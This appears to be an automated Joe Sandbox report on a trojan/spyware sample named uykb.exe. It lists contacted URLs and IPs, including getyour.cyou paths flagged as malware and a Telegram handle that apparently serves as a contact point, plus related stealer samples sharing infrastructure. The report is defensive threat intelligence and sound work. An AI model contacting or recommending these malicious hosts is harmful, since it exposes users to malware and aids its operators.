https://clients2.googleusercontent.com/crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx	false	high
https://t.me/m08mbk	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738443566347&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
https://c.msn.com/c.gif?rnd=1738443564565&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31f15e03b2404dcfac21a960ae4275da&activityId=31f15e03b2404dcfac21a960ae4275da&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true	false	high
https://sb.scorecardresearch.com/b?rn=1738443564566&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B3EBBCF6B2A66521035AE496A5867C7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738443566338&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://sb.scorecardresearch.com/b2?rn=1738443564566&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B3EBBCF6B2A66521035AE496A5867C7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738443564564&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	false		high
http://www.broofa.com	chromecache_447.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://getyour.cyou/ge/	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log5.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_451.5.dr	false		high
https://docs.google.com/	manifest.json.9.dr	false		high
https://www.youtube.com	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.instagram.com	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://getyour.cyou/g	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://getyour.cyou/i	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://getyour.cyou/wbi5	uykb.exe, 00000000.00000003.2219437154.0000000000724000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.messenger.com	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.deezer.com/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://getyour.cyou/o	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2148500114.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.9.dr, service_worker_bin_prod.js.9.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	d2djec.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://getyour.cyou/geeodpfagjceefieflmdfphplkenlfk	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://getyour.cyoux	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vibe.naver.com/today	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	false		high
https://assets.msn.com	e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, 2djekn.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
https://plus.google.com	chromecache_451.5.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_447.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json0.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		high
https://y.music.163.com/m/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	false		high
https://clients6.google.com	chromecache_451.5.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://t.me/	uykb.exe, 00000000.00000002.2660773016.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web.whatsapp.com	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://getyour.cyou4	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getyour.cyou0	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	uykb.exe, 00000000.00000003.2134873793.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2134725428.0000000000721000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://www.office.com	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log5.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	false		high
https://tidal.com/	aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	false		high
https://ntp.msn.com	000003.log.9.dr, 2cc80dabc69f58b6_0.9.dr	false		high
https://getyour.cyou/N#	uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/m08mbkhac22tlMozilla/5.0	uykb.exe	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://getyour.cyou	uykb.exe, 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.219.82.18	unknown	United States	20940	AKAMAI-ASN1EU	false
216.58.212.164	www.google.com	United States	15169	GOOGLEUS	false
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.219.82.72	unknown	United States	20940	AKAMAI-ASN1EU	false
116.202.5.153	getyour.cyou	Germany	24940	HETZNER-ASDE	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.23.209.3	e28578.d.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
13.32.99.90	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.200.0.38	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.19.126.152	a416.dscd.akamai.net	European Union	16625	AKAMAI-ASUS	false
23.219.82.82	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.209.72.24	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
192.168.2.23
192.168.2.13
192.168.2.15
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1604719
Start date and time:	2025-02-01 21:58:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uykb.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/277@28/26
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 55 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 66.102.1.84, 142.250.186.110, 142.250.185.78, 142.250.186.142, 142.250.185.74, 142.250.184.202, 142.250.185.106, 142.250.186.106, 172.217.23.106, 142.250.74.202, 142.250.185.202, 142.250.186.42, 142.250.185.234, 142.250.186.138, 142.250.186.74, 172.217.16.202, 142.250.185.170, 142.250.186.170, 142.250.185.138, 142.250.181.234, 142.250.181.238, 172.217.18.106, 172.217.18.10, 216.58.212.170, 216.58.206.42, 2.23.77.188, 2.22.50.117, 13.107.42.16, 204.79.197.239, 13.107.21.239, 142.250.185.142, 13.107.6.158, 51.137.3.145, 2.18.64.203, 2.18.64.218, 2.21.65.132, 2.21.65.154, 2.19.126.157, 2.19.126.151, 2.22.50.136, 142.250.176.195, 142.250.65.195, 142.251.40.195, 13.107.246.45, 184.28.90.27, 20.109.210.53, 94.245.104.56, 23.200.0.34, 13.107.246.40, 104.117.182.56, 150.171.27.10
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, prod-agic-we-2.westeurope.cloudapp.azure.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, redirector.gvt1.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimization
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.219.82.18	https://ergv54ergrz.s3.amazonaws.com/uhdigth1.html	Get hash	malicious	Unknown	Browse
20.189.173.8	Statement 01-28-25.xlsx	Get hash	malicious	Unknown	Browse
	https://office.yacivt.com/hOPnOtXD	Get hash	malicious	HTMLPhisher	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse
	Message_2712729.eml	Get hash	malicious	unknown	Browse
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	random.exe	Get hash	malicious	Vidar	Browse	216.58.206.78
	random.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar	Browse	172.217.23.110
	random.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.217.18.110
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	216.58.206.46
	0xqfQZufeQ.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, GCleaner, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.142
	DbCMTMgeJo.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.217.16.206
	AApUa7VQiy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	142.250.186.110
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	142.250.185.238
	KhfOXg8Y9W.exe	Get hash	malicious	Amadey, Cryptbot, GCleaner, LummaC Stealer, Stealc, Vidar	Browse	216.58.206.78
	random.exe	Get hash	malicious	Vidar	Browse	142.250.186.174
chrome.cloudflare-dns.com	random.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	162.159.61.3
	0xqfQZufeQ.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, GCleaner, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	DbCMTMgeJo.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.64.41.3
	2UG4oJgDRo.lnk	Get hash	malicious	Metastealer	Browse	172.64.41.3
	AApUa7VQiy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	172.64.41.3
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	random.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	Document-0191536.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Rtgs-RUATT6761105.html	Get hash	malicious	Branchlock Obfuscator, SVG Dropper	Browse	172.64.41.3
a416.dscd.akamai.net	random.exe	Get hash	malicious	Vidar	Browse	2.19.126.152
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	2.19.11.120
	0xqfQZufeQ.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, GCleaner, LummaC Stealer, Stealc, Vidar	Browse	2.19.126.152
	DbCMTMgeJo.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, PureLog Stealer, Stealc	Browse	2.19.126.152
	2UG4oJgDRo.lnk	Get hash	malicious	Metastealer	Browse	2.19.11.120
	AApUa7VQiy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	2.19.11.100
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	2.19.126.152
	random.exe	Get hash	malicious	Vidar	Browse	2.19.11.120
	Document-0191536.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	2.22.242.11
	[EXTERNAL] FWD_ Billing statement SRG-4545-JJJHH- 29 January ,2025.eml	Get hash	malicious	Unknown	Browse	2.19.126.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	random.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	random.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar	Browse	149.154.167.99
	random.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	149.154.167.220
	trano.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	r4on95CC7X.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	svchost.exe	Get hash	malicious	Unknown	Browse	149.154.167.51
	CompPkgSrv.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	svchost.exe	Get hash	malicious	Unknown	Browse	149.154.167.51
	based.exe	Get hash	malicious	HackBrowser, Blank Grabber	Browse	149.154.167.220
	svchost.exe	Get hash	malicious	HackBrowser, Blank Grabber	Browse	149.154.167.220
MICROSOFT-CORP-MSN-AS-BLOCKUS	random.exe	Get hash	malicious	Vidar	Browse	20.42.73.31
	random.exe	Get hash	malicious	Amadey, Cryptbot, Socks5Systemz	Browse	104.40.149.189
	NKtd6GRqI1.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	20.101.57.9
	crss.exe	Get hash	malicious	Unknown	Browse	22.64.5.45
	crss.exe	Get hash	malicious	Unknown	Browse	21.123.56.240
	https://next.frame.io/share/eff9445b-ae23-47e7-be6a-0c432c787561	Get hash	malicious	HTMLPhisher	Browse	52.182.143.215
	7dwGpWIm6d.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.44
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	20.44.10.122
	FOZkdjzquG.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.45
	m68k.elf	Get hash	malicious	Unknown	Browse	209.240.200.5
AKAMAI-ASN1EU	random.exe	Get hash	malicious	Vidar	Browse	23.44.201.13
	arm4.elf	Get hash	malicious	Unknown	Browse	172.232.164.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.197.127.21
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	23.197.127.21
	2UG4oJgDRo.lnk	Get hash	malicious	Metastealer	Browse	23.219.82.80
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	23.209.72.13
	m68k.elf	Get hash	malicious	Unknown	Browse	104.64.32.162
	splarm5.elf	Get hash	malicious	Unknown	Browse	23.208.154.208
	nabarm5.elf	Get hash	malicious	Unknown	Browse	2.17.208.79
	splarm7.elf	Get hash	malicious	Unknown	Browse	172.233.43.124

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	r4on95CC7X.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	40.113.110.67
